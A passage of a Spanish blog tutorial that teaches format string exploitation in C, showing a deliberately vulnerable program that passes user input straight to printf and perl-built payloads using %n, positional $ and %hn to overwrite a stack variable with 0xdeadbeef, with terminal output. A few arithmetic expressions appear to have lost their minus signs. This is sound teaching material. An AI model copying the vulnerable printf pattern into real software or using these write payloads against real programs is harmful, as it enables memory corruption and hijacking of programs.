Exploitation: Format Strings II

En la entrada previa hemos visto cómo gracias al descuido del programador y al especificador de formato %s podemos leer posiciones arbitrarias de memoria. Esto en sí ya es muy importante, sobretodo en situaciones en las que tenemos que evadir ASLR, donde cualquier memory disclosure nos viene como caído del cielo. En esta entrada finalizaremos con las vulnerabilidades de tipo format string explicando la forma de escribir posiciones arbitrarias de memoria con el caracter de formato %n.

Veamos en primer lugar cómo funciona %n. Este format string es especial, ya que no imprime nada por pantalla, sin embargo, escribe en la variable correspondiente el número de bytes escritos hasta el momento en que aparece. Veamos un ejemplo rápido:


#include <stdio.h>

int main(int argc, char* argv[]){
 int bytecount;
 printf("Guardamos el número de bytes hasta la @ %nen bytecount\n",&bytecount);
 printf("Bytecount: %d\n",bytecount);
 return 0;
}

No es posible escribir y leer bytecount dentro del mismo printf, por lo que hay que usar ese valor fuera del printf que lo escribe. El resultado debería ser obvio:


adrian@Andromeda-virt:~/exploiting$ ./a.out
Guardamos el número de bytes hasta la @ en bytecount
Bytecount: 41

Para la explicación, vamos a utilizar un código ligeramente distinto al de la primera parte. Copiar el contenido de argv en una variable local hace que el contenido de la misma esté más arriba en la pila, por lo que nos será más fácil hacer la demostración y quedará más visual y sencillo. El código es el siguiente:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv) {
 char msg[1024];
 long long int testigo = 5;

 if(argc < 2){
 printf("Uso: %s <mensaje>\n",argv[0]);
 exit(1);
 }
 strncpy(msg, argv[1], sizeof(msg) - 1);
 printf(msg);
 printf("\n testigo[@0x%x] = %d | 0x%08x\n",&testigo,testigo,testigo);

 return 0;
}

El funcionamiento es sencillo, copiamos el argumento que nos da el usuario y lo mostramos por pantalla, al estilo echo. Además, hemos incluído una variable a modo de testigo, que utilizaremos para explicar la sobreescritura de modo visual. Vamos a ver un par de ejecuciones del programa:


adrian@Andromeda-virt:~/exploiting$ ./fstrings "hola amijos"
hola amijos
 testigo[@0xbffff0b8] = 5
adrian@Andromeda-virt:~/exploiting$ ./fstrings $(perl -e 'print "AAAA" . ".%08x"x12')
AAAA.bffff6a6.000003ff.000000f0.000000f0.00000006.00000004.bffff534.00000174.00000174.
00000005.41414141.3830252e
 testigo[@0xbffff078] | 0x00000005 = 5

Como vemos, la salida nos muestra el mensaje y la posición y el valor del testigo. Cuando le introducimos %x (recordad la entrada anterior), vemos las posiciones de memoria, y en la undécima posición está el comienzo del mensaje (“AAAA” = 0x41414141). El último valor que vemos es precisamente “.%08x” en hexadecimal. Recordad que, si en la undécima posición (allí dónde salen nuestras aes) colocamos una indirección del tipo %s, leeremos el contenido de la memoria en la posición 0x41414141. Por tanto, si en lugar de aes, colocamos la dirección de una variable de entorno o del testigo, leeremos ese valor. Bien, hasta aquí lo mismo que en la entrada anterior, vamos a por más. Ahora, si utilizamos a nuestro recién conocido amigo %n seremos capaces de escribir en esa posición de memoria. Lo que se escribirá será el número de caracteres que se hayan impreso antes del %n. Vamos a mostrar un ejemplo:


adrian@Orion-virt:~/exploiting$ ./fstrings $(perl -e 'print "\x68\xf0\xff\xbf" . ".%x"x12')
h���.bffff696.3ff.f0.f0.6.4.bffff524.174.174.5.bffff068.2e78252e
 testigo[@0xbffff068] = 5 | 0x00000005
adrian@Orion-virt~/exploiting$ ./fstrings $(perl -e 'print "\x68\xf0\xff\xbf" . ".%x"x10 . "%n"')
h���.bffff69a.3ff.f0.f0.6.4.bffff524.174.174.5
 testigo[@0xbffff068] = 46 | 0x0000002e

Vemos como en la posición undécima se encuentra la primera palabra de nuestra cadena (la direción 0xbffff068, que corresponde a la variable testigo), y cómo al poner un %n en esa posición, sobreescribimos su valor con el número de bytes escritos hasta el %n (46 en este caso). Es el momento de introducir otro operador de formato que nos permitirá simplificar la labor. Este operador es el “$”, y con él podemos acceder directamente al n-esimo argumento de printf (repasad conocimientos previos II). Así que podemos acceder y modificar el testigo también de la siguiente forma:


adrian@Orion-virt:~/exploiting$ ./fstrings $(perl -e 'print "\x88\xf0\xff\xbf" . "%11\$x"')
����bffff088
 testigo[@0xbffff088] = 5 | 0x00000005
adrian@Orion-virt:~/exploiting$ ./fstrings $(perl -e 'print "\x88\xf0\xff\xbf" . "%96d%11\$n"')
����                                                                                     -1073744207
 testigo[@0xbffff088] = 100 | 0x00000064

En la primera linea, accedemos directamente al parámetro 11 (lugar donde comienza nuestra cadena), y en el segundo, escribimos 96 caracteres, para luego acceder al undécimo parámetro y escribir en él con %n. El valor que se escribe es cien (96 que hemos impreso, más los 4 que ocupa la dirección). Ahora suponed que queremos escribir un valor más grande, algo de 8 bytes, por ejemplo el clásico 0xdeadbeef. Seguro que alguien está pensando que basta con coger, y donde antes colocábamos el 96, colocar 3735928554 (0xdeadbeef0x5). Lamentablemente esto no es tan fácil, ya que en realidad, sólo podemos controlar dos bytes con cada escritura.

adrian@Orion-virt:~/exploiting$ ./fstrings $(perl -e 'print "\x78\xf0\xff\xbf" . "%.3735928559d%11\$hn"')
x���-1073744217
 testigo[@0xbffff078] = 15 | 0x0000000f

¿Y qué hacemos entonces? Fácil, realizamos dos escrituras, así rellenamos la parte alta y la parte baja. Sin embargo, hay que salvar otro pequeño problema, y es que debido al esquema little endian, 0xdeadbeef debe escribirse invertido, es decir, primero 0xbeef y después 0xdead. Sin embargo, 0xbeef es menor que 0xdead. Dada la forma de funcionar de la técnica, si primero escribimos 57005 (0xdead), no podemos hacer que %n escriba 48879 (0xbeef), ya que es menor que el número de caracteres que llevamos impresos hasta el momento. Es un poco confuso, a ver, si llevamos escritos 57005 caracteres (0xdead), no podemos retroceder en el número de caracteres escritos, eso es evidente. La solución, sin embargo, es bastante simple. Utilizando el “$” podemos escribir primero el valor más pequeño, y después el mayor. Vamos a verlo en un ejemplo:

adrian@Orion-virt:~/exploiting$ ./fstrings $(perl -e 'print "\x78\xf0\xff\xbf" . "\x7a\xf0\xff\xbf" . "%.48870d%11\$hn" ."%.8126d%12\$hn"')
...0000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
001023
 testigo[@0xbffff078] = -559038737 | 0xdeadbeef

Hemos colocado 0xbffff078 (la parte alta, parámetro número 11) seguido de 0xbffff07a (la parte baja, parámetro número 12), y al escribir colocamos primero 0xdead, pero indicando con el $ dónde debe escribirse. Posteriormente colocamos 0xbeef de la misma manera. Los números que aparecen son 48870 (0xbeef0x9, siendo 9 el número de bytes previos, 4 por cada dirección de memoria y uno por el punto que sigue al %), y 8126 (0xdead0xbeef).

La capacidad para escribir en posiciones arbitrarias de memoria nunca está de más, y las posibilidades son practicamente infinitas. En un futuro post en el que expliquemos el formato ELF, su funcionamiento y peculiaridades, veremos los objetivos más habituales en este tipo de vulnerabilidad: dtors y got.

Anuncios
Tagged with: , ,
Publicado en exploiting, hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: